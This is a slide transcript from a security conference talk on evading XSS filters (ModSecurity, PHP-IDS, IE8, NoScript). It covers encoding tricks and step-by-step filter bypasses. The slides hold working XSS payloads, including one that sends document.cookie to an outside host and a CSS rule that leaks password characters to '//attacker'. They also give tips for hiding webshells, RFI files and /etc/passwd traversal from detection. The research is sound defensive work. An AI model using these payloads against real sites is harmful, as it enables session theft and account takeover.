SlideShare a Scribd company logo
1 of 103
Download to read offline
Our Favorite XSS Filters and
    how to Attack Them
    Most recent version of slides can be
    obtained from http://p42.us/favxss/
About Us
About Us

Eduardo Vela

•  ttp://sirdarckcat.net/
 h
•  ttp://eaea.sirdarckcat.net/es/
 h
•  ttps://twitter.com/sirdarckcat
 h

•  oved from .mx to .cn in Spring '09
 M

•  efinitely does not work for YU WAN MEI http://
 d
www.yuwanmei.com/
About Us

David Lindsay

•  ttp://p42.us
 h
•  ttp://www.cigital.com
 h
•  ttps://twitter.com/thornmaker
 h

•  efinitely does work for Cigital and recently moved to
 d
Virginia so that his vote might actually mean
something (as opposed to when he lived in
Massachusetts and Utah)
The Basics
milk before meat?
XSS Basics

   Attacker controls dynamic content in HTTP
   response, e.g. HTML, CSS, JavaScript, etc

                Classic examples:
•  ><script>alert(0)</script>
 "
•  ><img src="x:x" onerror="alert(0)">
 "
•  ><iframe src="javascript:alert(0)">
 "
XSS Basics – Helpful Resources

•  The Cheat Sheet – http://ha.ckers.org/xss.html -
   Robert "RSnake" Hansen
•  WASC Script Mapping Project - http://
   projects.webappsec.org/f/
   ScriptMapping_Release_26Nov2007.html -
   Romain Gaucher
•  Obligatory (but still useful) OWASP reference -
   http://www.owasp.org/index.php/Cross-
   Site_Scripting
•  tra.ckers.org ? any day now... bug rsnake and
   id :)
Filter Basics

•  Sits between browser and the server (or at one of
   the endpoints)
•  We're not looking at sanitization methods/
   functions
•  Usually in detect-mode, not blocking mode. we
   make no distinction
•  If attack focused, must cover all variations
•  If vulnerability focused, must cover all variations
Evasion Techniques
  hope you liked the milk
HTML Tricks

<img/src="mars.png"alt="mars">

•  No white space, can use / or nothing at
   all after quoted attributes
HTML Tricks

<object><param name="src" value=
  "javascript:alert(0)"></param></object>

•  Round about way to assign the src paramater

<object data="javascript:alert(0)">

•  Avoids "src" altogether
•  Kudos to Alex K. (kuza55) for these
HTML Tricks

<isindex type=image src=1 onerror=alert(1)>

<isindex action=javascript:alert(1) type=image>

•  Few know of isindex tag
•  Kudos to Gareth Heyes for these
HTML Tricks

<img src=x:alert(alt) onerror=eval(src) alt=0>

•  src = this.src, alt = this.alt
XHTML Tricks

<xss xmlns:x="http://www.w3.org/1999/xhtml">
  <x:script>alert('xss');</x:script></xss>

•  Content served as text/xml can execute
   JavaScript by using html and xhtml namespaces
JavaScript Tricks

location='javascript:alert(0)';

location=name;

•  Short, no parenthesis for second
•  Victim is not actually redirected anywhere so it can
   be transparent
•  name = window.name
•  Downside: attacker controlled website must be
   involved
•  Downside: persistent XSS is demoted to reflective
   XSS
JavaScript Tricks

location=location.hash.slice(1); //avoid the #

location=location.hash //FF only

•  Payload comes after hash in URL
•  Victim website does not see true payload
•  No parenthesis in second one
•  In FireFox, you can incorporate the hash symbol
   as a sharp variable, #0={}
http://victim.com/?
   param=";location=location.hash)//#0={};alert(0)
JavaScript Tricks

alert(document.cookie)
alert(document['cookie'])
with(document)alert(cookie)

•  These are all equivalent
JavaScript Tricks

eval(document.referrer.slice(10));

•  When attacker controls referrer page

eval(0+location.string)   //or 1+location.string

•  Use a ternary operator along with fake GET
   paramaters, e.g.
0?fake1=1/
   *&id=42&name=";eval(1+location.string);"&la
   ng=EN&fake2=*/:alert(0)
JavaScript Tricks

x setter=eval,x=1

•  Execute arbitrary code without quotes or
   parenthesis
•  FF only
•  This notation has been deprecated for years...
JavaScript Tricks


http://site.com/?p=";eval(unescape(location))//#
   %0Aalert(0)

•  http:   JavaScript label
•  //      single line comment
•  %0A     newline, needs to be unescaped
JavaScript Tricks

""+{toString:alert}

""+{valueOf:alert}



•  Executes function without using () or =
•  Works in IE and Opera
•  This shouldn't work...
JavaScript Tricks

(É=[Å=[],µ=!Å+Å][µ[È=-~-~++Å]+({}+Å) [Ç=!!Å
+µ,ª=Ç[Å]+Ç[+!Å],Å]+ª])() [µ[Å]+µ[Å+Å]+Ç[È]+ª](Å)

($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''
+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)

•  hat, you don't see the alert(1) in there?
 w
•  o alphanumeric characters, can execute arbitrary
 n
JavaScript
•  udos to Yosuke Hasegawa
 k
VBScript Tricks

<b/alt="1"onmouseover=InputBox+1
language=vbs>test</b>

• E only
 I
•  bscript in event handlers
 v
VBScript Tricks

eval+name

• ust like eval(name) in JavaScript
 j
Future Tricks?

</a onmousemove="alert(1)">

•  TML5 will allow attributes in closing tags
 H
Future Tricks?

<style>input[name=password][value*=a]{
 background:url('//attacker?log[]=a');
}</style>
<iframe seamless src=”login.asp”/>

•  TML5 includes "seamless" iframes
 H
•  ould allow for pure css-based XSS attacks
 c
Other Tricks

data:text/html,<script>alert(0)</script>

data:text/html;base64,
  PHNjcmlwdD5hbGVydCgwKTwvc2NyaXB0Pg==

•  supported by all modern browsers except IE
Other Tricks

?injection=<script+&injection=>alert(1)></script>

•  HPP - HTTP Paramater Pollution
•  Variations of this can bypass most filters
•  Underlying server/application must join
   parameters somehow (ASP, ASP.NET on IIS)
•  Stefano di Paola and Luca Carettoni recently
   presented on HPP at OWASP EU09 - paper at
   http://www.owasp.org/images/b/ba/
   AppsecEU09_CarettoniDiPaola_v0.8.pdf
Other Tricks

<script>var m=<html><a href=”//site”>link</a>
</html></script> // XML inside JS

•  ML inside JavaScript
 X

<html><title>{alert('xss')}</title></html>

•  avaScript inside XML evaluated as JavaScript
 J
Unicode and XSS
Bugs in Server implementations

Unicode standard is aware of a lot of attacks, and they show
them all in their own website to raise awareness of this issues,
anyway implementations decide to ignore them all.

We will show two examples, anyway almost all implementations
of unicode are wrong in some way or another.
This includes .NET, Python, Perl, and well, pretty much every
APIs and plataforms out there.

We will just scrape the surface of this problem, this will be
presented more deeply in tomorrow's talk:

Chris Weber: Unraveling Unicode
Java

Following the standards is for loosers, so java made their own
called Modified Unicode, so they can be left alone on modifying
their code every new unicode release (they forked on unicode
3.0, we are on unicode 5.2 beta now).

So, the main problem in java are overlong unicode chars.

Java do check that the char is a valid unicode sequence, and
throws an exception if it's not. This means that it wont "eat"
other bytes if they don't have the first bit on (making ineffective
the possibility of eating quotes or similar ASCII chars).

Anyway, overlong UTF chars are allowed (against unicode
specification).
Java / continued

In general, Unicode is just a way of representing bytes, to let the
parser know that the char information is stored in several bytes.

So, it sets for example, if the char is 11 bits long, then to
represent it, unicode states:

110x xxxx 10xx xxxx

And you should replace x with the bit information. If the char is
16 bits long you use 3 bytes to represent it:

1110 xxxx 10xx xxxx 10xx xxxx
Java / continued / 2

In Unicode 3.0 there was no restriction on what the xxx could
represent, so an attacker could send a 0x3C char in several
ways:

As: 0x3C
As: 0xC0 0xBC
As: 0xE0 0x80 0xBC
As: 0xF0 0x80 0x80 0xBC
etc..

UTF-16 only supports 16 bits expansions (and so, Java).
Java / continued / 3

But then Unicode realized that allowing so many representations
of the same byte could be a security problem.

So they disallowed overlong chars (aka, only the shortest-form
of a byte was going to be valid unicode, and other would be
considered invalid).

Anyway, not everyone cared about this.

Several implementations of UTF are ignoring this requirement of
unicode 3.1, and so, allow dangerous information to travel in the
byte stream.
Java / continued / 4

Java is one of the affected implementations, in their code they
don't do any check to see if the char could be represented with
fewer bytes, meaning that any overlong representation of a byte
will be accepted.

Source is in:
/jdk/src/java/io/DataInputStream.java

%C0%BCscript%C0%BEalert(1)%C0%BC/script%C0%BE

Try it!
PHP
Their UTF to Latin implementation is in made in 20 lines.
http://google.com/codesearch/p?
sa=N&cd=3&ct=rc#qImjC_FcnLI/php6.0-200704121630/ext/
xml/xml.c&l=566

That's right, 18 chapters and a couple of hundred pages of
specifications were implemented in 20 lines of code (genius).

Genius-ness example:
unsigned short c; //sizeof(c)==2bytes==16 bits
...
if (c >= 0xf0) { /* four bytes encoded, 21 bits */
        c = ((s[0]&7)<<18) | ((s[1]&63)<<12) | ((s[2]&63)<<6)
| (s[3]&63);
        s += 4;
        pos -= 4;

Who cares about 5 bytes overflow?
PHP / continued
That code is also broken, since they just validate if the first bits
are on, but they dont check if the next bit is off, this means that:

xFFxF0x80xBC will be transformed to "<".

Note that the overflow in the first 5 bits allow us to put anything
there. That's not valid unicode and no script or filter will detect
this.


Try it!
http://eaea.sirdarckcat.net/xss.php?unicode&html_xss=%FF
%F0%80%BCscript%FF%F0%80%BEalert%281%29%FF
%F0%80%BC/script%FF%F0%80%BE
PHP / continued / 2

This also means that they are only checking the prefix,and then
consuming the 3 bytes that follow the char, meaning?
This:
<a href="xF7"> " onmouseover=alert(1) <b>hover
me me!!!</b> </a>

Will be:
<a href="?" onmouseover=alert(1) <b>hover me
me!!!</b> </a>

Try it!
http://eaea.sirdarckcat.net/xss.php?unicode&html_xss=%3Ca
%20href=%22%F7%22%3E%20%22%20onmouseover=alert
%281%29%20%3Cb%3Ehover%20me%20me!!!%3C/b%3E
%20%3C/a%3E
PHP / continued / 3

There are more bugs in PHP's unicode implementation not
discussed here, specially on utf8_encode, and on a minor
degree in iconv and mbstring.

If you do charset conversion you should filter output after
unicode decoding/encoding.

The use of different charsets in DB, Framework, and HTML
output will give you problems.

Unicode is not the only problematic charset, others like:
UTF-7, US-ASCII, BIG-9, etc... are also dangerous.
Introducing The Filters
      ModSecurity
       PHP-IDS
         IE8
       NoScript
ModSecurity

http://modsecurity.org/
ModSecurity Advantages

•  Open Source

•  easy to install Apache module
ModSecurity Disadvantages

•  filters are ineffective

•  Infrequently updated

•  No support for different encodings
ModSecurity Filters

Most of the XSS filtering occurs in just one filter

•  First phase – must match one of these keywords:
@pm jscript onsubmit copyparentfolder javascript meta onmove onkeydown
 onchange onkeyup activexobject expression onmouseup ecmascript onmouseover vbsc
ript: <![cdata[ http: settimeout onabort shell: .innerhtml onmousedown onkeypres
s asfunction: onclick .fromcharcode background-image: .cookie ondragdrop onblur
x-javascript mocha: onfocus javascript: getparentfolder lowsrc onresize @import
alert onselect script onmouseout onmousemove background application .execscript
livescript: getspecialfolder vbscript iframe .addimport onunload createtextrange
 onload <input
ModSecurity Filters

•  Second phase – must match this regular
   expression:
(?:b(?:(?:typebW*?b(?:textbW*?b
(?:j(?:ava)?|ecma|vb)|applicationbW*?bx-(?:java|vb))script|c(?:opyparentfolde
r|reatetextrange)|get(?:special|parent)folder|iframeb.{0,100}?bsrc)b|on(?:(?:
mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?:hange|lick)|s(
?:elec|ubmi)t|(?:un)?load|dragdrop|resize|focus|blur)bW*?=|abortb)|(?:l(?:ows
rcbW*?b(?:(?:java|vb)script|shell|http)|ivescript)|(?:href|url)bW*?b(?:(?:
java|vb)script|shell)|background-image|mocha):|s(?:(?:tylebW*=.*bexpressionb
W*|ettimeoutbW*?)(|rcbW*?b(?:(?:java|vb)script|shell|http):)|a(?:ctivexob
jectb|lertbW*?(|sfunction:))|<(?:(?:bodyb.*?b(?:backgroun|onloa)d|inputb.
*?btypebW*?bimage)b| ?(?:(?:script|meta)b|iframe)|![cdata[)|(?:.(?:(?:e
xecscrip|addimpor)t|(?:fromcharcod|cooki)e|innerhtml)|@import)b)
ModSecurity

The filter will catch:

<img src="x:gif" onerror="alert(0)">

but miss:

<img src="x:alert" onerror="eval(src%2b'(0)')">
and
<img src="x:gif" onerror="eval('al'%2b'lert(0)')">
and
<img src="x:gif" onerror="window['alu0065rt']
  (0)"></img>
ModSecurity

The filter will catch:

";document.write('<img src=http://p42.us/
   x.png?'%2bdocument.cookie%2b'>');"

but miss:

";document.write('<img sr'%2b'c=http://p42.us/
   x.png?'%2bdocument['cookie']%2b'>');"
ModSecurity


•  Good for novices to practice against

•  Other types of filters (SQLi, Response Splitting,
   etc) are just as bad

•  Has potential... if filters are strengthened
ModSecurity

•  http://www.owasp.org/index.php/
   Category:OWASP_ModSecurity_Core_Rule_Set_P
   roject

•  Would be a good place to start, except:
PHP-IDS

http://php-ids.org/
PHP-IDS Advantages

•  Attempts to detect all attacks (not just common
   attacks).

•  Easily catches all basic injections

•  Open source - a lot of people "hack it" in their "free
   time"

•  Well maintained - rule-sets are frequently attacked
   and improved

•  Codebase supports a lot of encoding algorithms
PHP-IDS Disadvantages

•  Sometimes false positives

•  PHP-dependant ("ported" to typo3, Drupal, perl)

•  CPU consumption
PHP-IDS

•  Developed by Mario Heiderich along with Christian
   Matthies and Lars H. Strojny

•  Aggressive blacklist filtering
  •  detects all forms of XSS imaginable (and more)

•  Each injection is given a score based upon the
   number of filters triggered

•  Filters have greatly improved over past 2 years
   thanks to demo.phpids.org, sla.ckers, and Mario
   who frequently updates
Filter Examples

•  Filters are very targeted
•  Has 68 filters in addition to the one below (majority
   are for XSS, not all)

https://svn.phpids.org/svn/trunk/lib/IDS/default_filter.xml

(?:,s*(?:alert|showmodaldialog|eval)s*,)|(?::s*eval
s*[^s])|([^:sw,./?+-]s*)?(?<![a-z/_@])(s*return
s*)?(?:(?:documents*.)?(?:.+/)?(?:alert|eval|msgbox|
showmodaldialog|prompt|write(?:ln)?|confirm|dialog|open))
s*(?(1)[^w]|(?:s*[^sw,.@/+-]))|(?:java[s/]*.[s
/]*lang)|(?:ws*=s*news+w+)|(?:&s*w+s*)[^,])|(?:
+[Wd]*news+w+[Wd]*+)|(?:document.w)
PHP-IDS Developing a Bypass



eval(name)


Injection Found! Overall Impact: 17
PHP-IDS Developing a Bypass



x=eval
y=name
x(y)

Injection Found! Overall Impact: 12
PHP-IDS Developing a Bypass



x='ev'+'al'
x=this[x]
y='na'+'me'
x(x(y))

Injection Found! Overall Impact: 46
PHP-IDS Developing a Bypass



$$='e'
x='ev'+'al'
x=this[x]
y='nam'+$$
y=x(y)
x(y)

Injection Found! Overall Impact: 37
PHP-IDS Developing a Bypass



$$='e'
x=$$+'val'
z=(1)['__par'+'ent__']
x=z[x]
y=x('nam'+e)
x(y)

Injection Found! Overall Impact: 62
PHP-IDS Developing a Bypass



$$='e'
__='__par'
x=$$+'val'
z=(1)[__+'ent__']
x=z[x]
y=x('nam'+e)
x(y)

Injection Found! Overall Impact: 27
PHP-IDS Developing a Bypass

$$='e'
__='__par'
x=$$+'val'
x=1+[]
z=$$+'nt__'
x=x[__+z]
x=z[x]
y=x('nam'+e)
x(y)

Injection Found! Overall Impact: 18
PHP-IDS Developing a Bypass
__=''
$$=__+'e'
__=__+'__par'
x=$$+'val'
x=1+[]
z=$$+'nt__'
x=x[__+z]
x=z[x]
y=x('nam'+e)
x(y)

Injection Found! Overall Impact: 14
PHP-IDS Developing a Bypass
__=''
$$=__+'e'
__=__+'__par'
_=$$+'val'
x=1+[]
z=$$+'nt__'
x=x[__+z]
x=x[_]
y=x('nam'+$$)
x(y)

Injection Found! Overall Impact: 07
PHP-IDS Developing a Bypass
__=''
$$=__+'e'
__=__+'__par'
_=$$+'val'
x=1+[]
z=$$+'nt__'
x=x[__+z]
x=x[_]
y=x('nam'+$$)
x(y)
'abc(def)ghi(jkl)mno(pqr)abc(def)ghi '

Injection Found! Overall Impact: 07
PHP-IDS Developing a Bypass
__=''
$$=__+'e'
__=__+'__par'
_=$$+'val'
x=1+[]
z=$$+'nt__'
x=x[__+z]
x=x[_]
y=x('nam'+$$)
x(y)
'abc(def)ghi(jkl)mno(pqr)abc(def)abc(def)...'

Nothing suspicious was found!
PHP-IDS Developing a Bypass

http://p42.us/phpids/95.html

 •  This injection worked on 24.July.2009

 •  Was fixed shortly thereafter
PHP-IDS

Other Recent bypasses:

<b/alt="1"onmouseover=InputBox+1
  language=vbs>test</b>

•  Courtesy of Gareth Heyes

this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/
   +name,new Array)

•  Courtesy of David Lindsay
PHP-IDS

-setTimeout(
   1E1+
   ',aler
   t ( /Mario dont go, its fun phpids rocks/ ) + 1E100000 ' )

•  Courtesy of Gareth Heyes (maybe he's a
   terminator like XSS machine?)

<b "<script>alert(1)</script>">hola</b>

•  Courtesy of Eduardo Vela
IE8 XSS Filter

http://www.microsoft.com/windows/
   internet-explorer/default.aspx

  http://blogs.msdn.com/dross/
The 3 commandments of the IE filter

1.  The Filter must be compatible.

2.  The Filter must be secure.

3.  The Filter must be performant.
Compatibility > Security > Performance




•  If its not compatible, users will turn it off.
•  If its not performant, users will turn it off.
Performance + Compatibility

HTTP/1.0 200 OK
Cache-Control: private, max-age=0
Date: Sun, 11 Jul 2010 01:23:45 GMT
Content-Type: text/html; charset=ISO
Set-Cookie: ASDF=123
Server: Apache
X-XSS-Protection: 0



•  If its not compatible, admins will turn it off.
•  If its not performant, admins will turn it off.
IE8 Filters – How it Works

•  Scans outbound requests for key signatures
•  If matched, server response is scanned for the
   same matching signatures
•  If response contains match, response is
   neutered i.e. certain char is replaced with # to
   prevent injection from working
What does this mean?

The filter will protect against the 3 of the most common reflected
XSS vectors:

1.  div>$injection</div>
  <

2.  input value=“$injection”>
  <

3.  <script>
      var a = “$injection”;
    </script>
Q&A

Why aren't fragmented attacks detected?
Performance, the amount of permutations of each argument and possible vector is
of O(n!), that means that with 10 arguments you need 3628800 operations, and an
attacker could just send thousands of arguments to DoS the filter, also this is not
as common as other attacks.

Why aren't DOM based attacks detected?
Compatibility (JSON probably) and Performance (hook all JS functions will slow IE
even more.. if that's even possible), but it may be possible in the future.

Why aren't non-JS attacks, like <a href...> tags, detected?
Compatibility some websites are vulnerable to XSS by the way they work, and they
need to use this elements. For example, some blogging software allows posts to
be uploaded that contain anchor tags.
Q&A / continued

Why aren't attacks to the Intranet detected by default?
The Intranet zone pretty much by definition is a managed environment, unlike the
Internet. That means admins can set group policy to enable the filter in the Local
Intranet zone. [...]The Intranet zone is disabled by default on non-domain
joined machines. -- David Ross

If IE is protecting me against XSS, should I disable all anti-
reflected-XSS protections I have?
</whitehat><blackhat>
YES, of course! please do it.
</blackhat>
Bypassing the Filter

We will show the remaining Top 7 reflected XSS attacks and
how you can attack with them.
Unfiltered Vectors – Top 4,5,6

4.  Fragmented ?url='%20x=`&name=`%20onmouseover='alert(1)

<a href='<?php echo htmlentities($url);?>'/>
 <?php echo htmlentities($name);?>
</a>

5.  DOM based /index.php/<script     x>alert(1)</script>/

document.write("<a href='/suggestToFriend/?
   p="+location.href+"'>");

6.  Inside event attributes ?id=alert(1)

<a href="#" onclick="deleteTopic($id)">
Unfiltered Vectors – Top 7,8,9

Reflected XSS means that the matched attack has to be present
in the HTML source code.


7.  ttacks that were filtered incorrectly
  A
Demo with weird JS escaping

8.  ttacks abusing charset peculiarities
  A
Demo with unicode stuff on PHP {0day}

9.  ttacks that are not reflected in the same page
  A
Demo with java.com
Unfiltered Vectors – Top 10

10. Attacks that are made to content not loaded as HTML


Demo with Motorola SBG 900 router that

•    changes the DNS servers
•    disables the firewall
•    makes the admin console public
•    changes the admin console password
•    removes wireless encryption
•    and logs the MAC for cloning {0 day}

And for good measure, this also bypasses NoScript
Other Exceptions

* Attacking intranet websites (on domain-joined computers) is
possible (the filter is disabled by default, but admins can turn it
on at any time).

* Websites attacking themselves are still vulnerable, so reflected
xss worms are still possible.

* If you do clickjacking, you can bypass the filter.


Put Demo Here
Bypassing the JavaScript based Filter

* assumptions - it's impossible to execute code without () and =

* as far as everyone knew, it WAS impossible to execute without
() and =

* toString, valueOf properties/meaning

DEMO

* we are limited to attacks inside JS strings like:

urchinTracker("/<?=$storeId;?>/newOrder");
JavaScript based Bypass

•    ---speaker notes---
•    Microsoft fixed their code and allowed me to test the fix.
•    I tested it and it fixed the issue as best as I can determine.
•    You can expect it soon.

Other possible bypasses?

-> It's also possible to run some functions with "new" but it's
nearly impossible to find an attack vector.

new location.reload // wont work
new history.back // wont work
new open // wont work
etc..
Attacking with the XSS Filter

Recall: the way the XSS Filter works, is by searching for
dangerous strings in the request and then looking for them in
the response.

If they match, then the filters disable those dangerous strings.

So you can use the filter to disable <style> <meta> <form>
<script> <frame> <iframe> etc in the page, just by appending its
code in the request (and trigger one of the filters)


Demo!!
XSS Filters in Other Browsers?

Firefox -> Never! They have CSP and they think that's all they
need.

Firefox + NoScript -> Going on a couple of years now!

Opera, Safari -> No idea!

Chrome -> Maybe!
NoScript

http://noscript.net/
NoScript Advantages

•  NoScript users are already security-aware, so they prefer
   security over general usability and ease of use.

•  NoScript's goals are different from common XSS Filters, it
   uses a paranoic point of view.

•  NoScript takes leverage on the fact that an attacker is
   limited to self containted XSS attacks.

•  NoScript is not just a XSS filter, is a security solution for
   Firefox.
Bypassing the Filter's Rules

As any other filter, it's still possible to bypass NoScript's rules, the following attack
bypassed NoScript's rules:

<a z=%22%23%22x=%26+onmousemove=t=Object(window.name);
({$:%230=t,z:eval(String(%230%23).replace(/@/g,%27%27))}).z//%3E


This was fixed last week: http://tinyurl.com/m4nfs9


http://eaea.sirdarckcat.net/xss.php?html_xss=%3Ca
%20z=%22%23%22x=
%26+onmousemove=t=Object(window.name);
({$:%230=t,z:eval(String(%230%23).replace(/@/g,
%27%27))}).z//%3E
This hasn't been fixed! Found 10m ago

find a bypass 10 minutes before the talk!

if I can't.. then.. it doesnt matter haha if I can, notify giorgio haha

<<david: umm... good luck with that Eduardo>>
Hacking the Filter

The DoS and pwn on NoScript (for bypassing)

The following example:
http://tinyurl.com/krgd3a

http://eaea.sirdarckcat.net/xss.php?hello=a-very-
long-and-complicated-js-
string&html_xss=<script>alert("pwned");</script>

Will DoS NoScript, and then firefox will kill it, and then your
victim will be redirected to your "pwned" webpage.
Same Origin Exception

NoScript wont protect websites from attacking themselves, so
frames pointing to a redirect that sends to the payload wont be
detected by NoScript:
Example: http://tinyurl.com/l5rnyc

http://www.google.com/imgres?imgurl=http://
tinyurl.com/ZWZ8Z4&imgrefurl=http://tinyurl.com/
ZWZ8Z4

and http://tinyurl.com/ZWZ8Z4 redirects to

https://www.google.com/adsense/g-app-single-1.do?
websiteInfoInput.uri=ZWZ8Z4&contactInput.asciiNameInp
ut.fullName=<script>
Tribute to the stupid IDS




Thanks to pretty much every
other WAF vendor out there...
README

Follow this simple rules and a lot of IDS wont detect your
attacks!

Victims include:

REDACTED

"OMG I can't believe it is so easy!"
Rule Number 1

For JS-XSS probing, stop using alert('xss') you should now use
prompt('xss').

This will bypass:
-> dotDefender
Rule Number 2

Dont do <script>, do <ScRIPT x src=//0x.lv?

This will bypass:

lots
Rule Number 3

For blind SQL injections stop using ' or 1=1-- -, you should now
use ' or 2=2-- -

This will bypass:

lots
Rule Number 4

Dont do /etc/passwd do /etc/asdf/../passwd

This will bypass:

lots
Rule Number 5

Dont call r57.txt your RFI file, call it lolcatz.txt

This will bypass:

lots
Rule Number 6

Dont call your webshell c99.php/shell.php/cmd.php, call it
d98.php

This will bypass:

lots
Disclaimer

If you are a vendor of one of these products, I suggest you to
spend the money you would use suing us, to hire someone that
knows a little more about security.

kthxbye
Conclusions

•  For Internet Explorer, use IE-8, and enable the XSS Filter
•  If you can use Firefox, use Firefox+NoScript
•  If you need an IDS for web-threats {xss/sqli/etc}:
    o  don't use mod_security until filters are better
    o  use PHP-IDS

•  For sanitizing HTML, use HTMLPurifier/Antisamy, or use
   templating systems!

•  If you have build/maintain an IDS/WAF, set up a demo site
   where the filters can be tested and bypasses submitted,
   please...

•  Don't trust your IDS, it can and will be bypassed!
Thanks
Thanks goes to many for helping us with this presentation
   including:

•  all the slackers at sla.ckers.org, RSnake, ID

•  David Ross, Mario Heiderich, Giorgio Maone

•  Kuza K, Stephano Di Paola, Gareth Heyes

•  Ping Look, everyone else with BlackHat

•  Everyone here for attending! :)

More Related Content

What's hot

How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...bugcrowd
 
Appsec usa2013 js_libinsecurity_stefanodipaola
Appsec usa2013 js_libinsecurity_stefanodipaolaAppsec usa2013 js_libinsecurity_stefanodipaola
Appsec usa2013 js_libinsecurity_stefanodipaoladrewz lin
 
Web Security Horror Stories
Web Security Horror StoriesWeb Security Horror Stories
Web Security Horror StoriesSimon Willison
 
Practical django secuirty
Practical django secuirtyPractical django secuirty
Practical django secuirtyAndy Dai
 
Django Web Application Security
Django Web Application SecurityDjango Web Application Security
Django Web Application Securitylevigross
 
Attacks against Microsoft network web clients
Attacks against Microsoft network web clients Attacks against Microsoft network web clients
Attacks against Microsoft network web clients Positive Hack Days
 
2013 05-03 - HTML5 & JavaScript Security
2013 05-03 -  HTML5 & JavaScript Security2013 05-03 -  HTML5 & JavaScript Security
2013 05-03 - HTML5 & JavaScript SecurityJohannes Hoppe
 
Sinatra and JSONQuery Web Service
Sinatra and JSONQuery Web ServiceSinatra and JSONQuery Web Service
Sinatra and JSONQuery Web Servicevvatikiotis
 
JavaScript Security
JavaScript SecurityJavaScript Security
JavaScript SecurityJason Harwig
 
Fazendo mágica com ElasticSearch
Fazendo mágica com ElasticSearchFazendo mágica com ElasticSearch
Fazendo mágica com ElasticSearchPedro Franceschi
 
Google chrome presentation
Google chrome presentationGoogle chrome presentation
Google chrome presentationreza jalaluddin
 
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...GeeksLab Odessa
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Securityjemond
 
Solr Anti-Patterns: Presented by Rafał Kuć, Sematext
Solr Anti-Patterns: Presented by Rafał Kuć, SematextSolr Anti-Patterns: Presented by Rafał Kuć, Sematext
Solr Anti-Patterns: Presented by Rafał Kuć, SematextLucidworks
 
Mongoose getting started-Mongo Db with Node js
Mongoose getting started-Mongo Db with Node jsMongoose getting started-Mongo Db with Node js
Mongoose getting started-Mongo Db with Node jsPallavi Srivastava
 
Intro to Php Security
Intro to Php SecurityIntro to Php Security
Intro to Php SecurityDave Ross
 

What's hot (20)

How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
 
Appsec usa2013 js_libinsecurity_stefanodipaola
Appsec usa2013 js_libinsecurity_stefanodipaolaAppsec usa2013 js_libinsecurity_stefanodipaola
Appsec usa2013 js_libinsecurity_stefanodipaola
 
ZeroNights 2018 | I <"3 XSS
ZeroNights 2018 | I <"3 XSSZeroNights 2018 | I <"3 XSS
ZeroNights 2018 | I <"3 XSS
 
Web Security Horror Stories
Web Security Horror StoriesWeb Security Horror Stories
Web Security Horror Stories
 
Practical django secuirty
Practical django secuirtyPractical django secuirty
Practical django secuirty
 
Django Web Application Security
Django Web Application SecurityDjango Web Application Security
Django Web Application Security
 
Attacks against Microsoft network web clients
Attacks against Microsoft network web clients Attacks against Microsoft network web clients
Attacks against Microsoft network web clients
 
2013 05-03 - HTML5 & JavaScript Security
2013 05-03 -  HTML5 & JavaScript Security2013 05-03 -  HTML5 & JavaScript Security
2013 05-03 - HTML5 & JavaScript Security
 
Sinatra and JSONQuery Web Service
Sinatra and JSONQuery Web ServiceSinatra and JSONQuery Web Service
Sinatra and JSONQuery Web Service
 
Web security
Web securityWeb security
Web security
 
JavaScript Security
JavaScript SecurityJavaScript Security
JavaScript Security
 
Fazendo mágica com ElasticSearch
Fazendo mágica com ElasticSearchFazendo mágica com ElasticSearch
Fazendo mágica com ElasticSearch
 
Security in Node.JS and Express:
Security in Node.JS and Express:Security in Node.JS and Express:
Security in Node.JS and Express:
 
Google chrome presentation
Google chrome presentationGoogle chrome presentation
Google chrome presentation
 
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
 
Bypassing Web Application Firewalls
Bypassing Web Application FirewallsBypassing Web Application Firewalls
Bypassing Web Application Firewalls
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Security
 
Solr Anti-Patterns: Presented by Rafał Kuć, Sematext
Solr Anti-Patterns: Presented by Rafał Kuć, SematextSolr Anti-Patterns: Presented by Rafał Kuć, Sematext
Solr Anti-Patterns: Presented by Rafał Kuć, Sematext
 
Mongoose getting started-Mongo Db with Node js
Mongoose getting started-Mongo Db with Node jsMongoose getting started-Mongo Db with Node js
Mongoose getting started-Mongo Db with Node js
 
Intro to Php Security
Intro to Php SecurityIntro to Php Security
Intro to Php Security
 

Viewers also liked

The Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile PlatformsThe Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile Platformskosborn
 
libinjection: from SQLi to XSS  by Nick Galbreath
libinjection: from SQLi to XSS  by Nick Galbreathlibinjection: from SQLi to XSS  by Nick Galbreath
libinjection: from SQLi to XSS  by Nick GalbreathCODE BLUE
 
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...CODE BLUE
 
